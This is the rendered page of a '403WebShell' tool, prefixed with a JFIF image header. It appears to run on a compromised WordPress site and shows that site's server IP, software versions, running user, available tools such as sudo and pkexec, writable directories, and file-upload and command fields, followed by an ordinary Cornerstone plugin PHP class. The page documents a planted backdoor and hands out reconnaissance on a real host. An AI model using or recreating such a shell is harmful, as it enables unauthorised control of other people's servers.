????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.145.167.178
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.astacus.se/wp-content/plugins/cornerstone/includes/classes/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.astacus.se/wp-content/plugins/cornerstone/includes/classes/app/class-app-renderer.php
<?php

class Cornerstone_App_Renderer extends Cornerstone_Plugin_Component {

  public $dependencies = array( 'Front_End' );
  public $zones = array();
  public $zone_output = array();

  public function start() {
    $this->enqueue_extractor = $this->plugin->loadComponent( 'Enqueue_Extractor' );
    $this->enqueue_extractor->start();
  }

  public function zone_siphen_start() {
    ob_start();
  }

  public function zone_siphen_end() {

    $content = ob_get_clean();

    if ( $content ) {
      $this->zone_output[current_action()] = $content;
    }

  }

  public function end() {

  }

  public function register_zones( $zones ) {
    $this->zones = array_unique( array_merge( $this->zones, $zones ) );
  }

  public function get_extractions() {
    return array(
      'scripts' => $this->enqueue_extractor->get_scripts(),
      'styles'  => $this->enqueue_extractor->get_styles()
    );
  }

  public function bar_module( $data ) {

    $response = '';
    $this->zone_output = array();

    if ( 'markup' === $data['action'] ) {

      $module = array();
      $definition = CS()->loadComponent('Element_Manager')->get_element( $data['model']['_type'] );

      /**
       * Attach zone output siphens
       */

      foreach ( $this->zones as $zone ) {
        remove_all_actions( $zone );
        add_action( $zone, array( $this, 'zone_siphen_start' ), 0 );
      }

      $attr_keys = $definition->get_designated_keys( 'attr' );
      $html_keys = $definition->get_designated_keys('markup', 'html' );

      /**
       * Replace keys designated as attributes with {{atts.key_name}}
       */


      foreach ($attr_keys as $key) {
        $module[$key] = "{{model.atts.$key}}"; //"{{model.{{camelize::attr_$key}}}}";
      }

      foreach ($data['model'] as $key => $value) {

        if ( in_array($key, $attr_keys, true) ) {
          continue;
        }

        if ( in_array($key, $html_keys, true) ) {
          $module[$key] = $this->isolate_html( $value );
          continue;
        }

        $module[$key] = $value;

      }

      if ( isset($module['_id'])) {
        $module['_id'] = '{{model.id}}';
      }

      /**
       * Render the module using a registered filter
       */
      ob_start();
      $definition->render( $module );
      $response = ob_get_clean();

      /**
       * Add data-cs-observeable on root element if not supplied by view
       */
      if ( -1 !== strpos($response, 'data-cs-observeable' ) ) {
        $response = preg_replace('/<\s*?\w+\s?/', "$0 data-cs-observeable=\"{{observer}}\" ", $response, 1 );
      }


      /**
       * Capture output that was deffered into any registered zones
       */

      foreach ( $this->zones as $zone ) {
        add_action( $zone, array( $this, 'zone_siphen_end' ), 9999999 );
        do_action( $zone );
      }

      foreach ($this->zone_output as $key => $value) {
        $html = preg_replace('/<!--(.|\n)*?-->/', '', $value);
        $encoded = json_encode( array( 'markup' => base64_encode($html) ) );
        $response .= "{{#preview/zone-pipe model=model zone=\"$key\"}}$encoded{{/preview/zone-pipe}}";
      }

    }

    return array(
      'template' => $response,
      'extractions' => array(
        'scripts' => $this->enqueue_extractor->extract_scripts(),
        'styles' => $this->enqueue_extractor->extract_styles()
      )
    );
  }

  public function isolate_html( $content ) {
    $content = base64_encode( do_shortcode( $content ) );
    return "{{base64content \"$content\" }}";
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit